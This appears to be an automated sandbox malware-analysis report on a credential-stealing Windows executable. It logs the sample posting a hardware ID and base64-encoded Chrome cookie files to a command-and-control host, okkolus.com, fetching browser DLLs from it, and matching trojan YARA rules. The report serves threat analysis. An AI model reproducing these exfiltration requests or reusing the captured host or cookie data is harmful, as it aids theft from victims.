48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBAHost: okkolus.comContent-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file"------CGDGHCBGDHJJKECAECBA--
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: okkolus.comContent-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file"------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/freebl3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/mozglue.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/msvcp140.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/nss3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/softokn3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/vcruntime140.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache

Source: Joe Sandbox View

ASN Name: ASRELINKRU ASRELINKRU

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/sqlite3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/freebl3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/mozglue.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/msvcp140.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/nss3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/softokn3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/vcruntime140.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: okkolus.com

Source: unknown

HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: okkolus.comContent-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 38 34 39 30 35 36 38 30 36 31 32 37 38 39 35 37 33 32 30 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 75 6e 69 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="hwid"A884905680612789573209------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="build"unik------EHJDGHJDBFIJKECAECAF--

Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.php
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.php&)
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.php/M
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.php6c3c10c894eaf2a9d1d275a40e443fa5cations
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.phpN
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.phpt
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/cf5cbdf706840b3f.phpte3.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/freebl3.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/freebl3.dll94eaf2a9d1d275a40e443fa5tionComponent
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dll94eaf2a9d1d275a40e443fa5Extension
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dllVUG
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dlld
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dllrowser
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/mozglue.dllser
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/msvcp140.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/msvcp140.dll.
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/msvcp140.dller
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/msvcp140.dlluPh
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dll.U
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dll9M
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dllJT
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dlle
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dllll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dllll_TH
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dllllx
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dlloU
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/nss3.dllpatible_edge_version_number
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/oTab
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/ra
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/soft
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/softokn3.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/softokn3.dll.
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/softokn3.dllCSF
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/softokn3.dller
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/sqlite3.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/vcruntime140.dll
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/vcruntime140.dll%
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.com/dfaf16606234b71d/vcruntime140.dllata
Source: FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://okkolus.comppData
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: JEHIJDGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: JEHIJDGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEHIJDGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JEHIJDGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61EAD2AC	0_2_61EAD2AC
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E4B8A1	0_2_61E4B8A1
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E75F1F	0_2_61E75F1F
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E40065	0_2_61E40065
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E9E24F	0_2_61E9E24F
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E5023C	0_2_61E5023C
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E62554	0_2_61E62554
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E4E4BF	0_2_61E4E4BF
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E7A790	0_2_61E7A790
